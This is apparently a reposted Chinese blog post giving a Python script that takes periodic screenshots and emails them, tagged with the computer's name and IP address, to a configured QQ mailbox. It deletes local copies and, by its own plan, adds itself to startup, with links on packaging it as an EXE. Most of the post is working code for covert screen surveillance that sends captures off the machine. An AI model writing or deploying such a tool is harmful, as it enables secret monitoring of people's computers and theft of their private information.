監控電腦屏幕python


#/bin/usr/python3/
#coding:utf-8

from PIL import ImageGrab
import qq_email,os,time
import socket#獲取電腦ip等
## send_file('屏幕截圖','neirong','1.jpg')

'''
QQ496631085
流程:

    輸入 發件QQ郵箱,密碼,收件郵箱,(加密,保存配置)
    多少秒發一次屏幕截圖,(保存配置)
    寫入開機啟動
'''
def now_time():
    return time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())
def ip():
    try:
        #獲取本機電腦名
        myname = socket.getfqdn(socket.gethostname())
        #獲取本機ip
        myaddr = socket.gethostbyname(myname)
        return '電腦名:'+ myname + ' IP' + myaddr
    except:
        print('獲取電腦信息失敗')
    
def jietu():
    im = ImageGrab.grab()
    im.save('1.png')#保存圖片
    
    try:
        qq_email.send_file('屏幕截圖', ip() + now_time()  ,'1.png')#發送郵件
        os.remove('1.png') #刪文件
    except:
        print('send_error')
# timing  =  3600    
try:
    timing=int(input('多少秒發送一次屏幕截圖'))
except:
    timing=30
while timing:
    jietu()
    time.sleep(timing)

https://blog.csdn.net/sinat_27382047/article/details/81304065         EXE打包地址https://blog.csdn.net/lqzdreamer/article/details/77917493


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM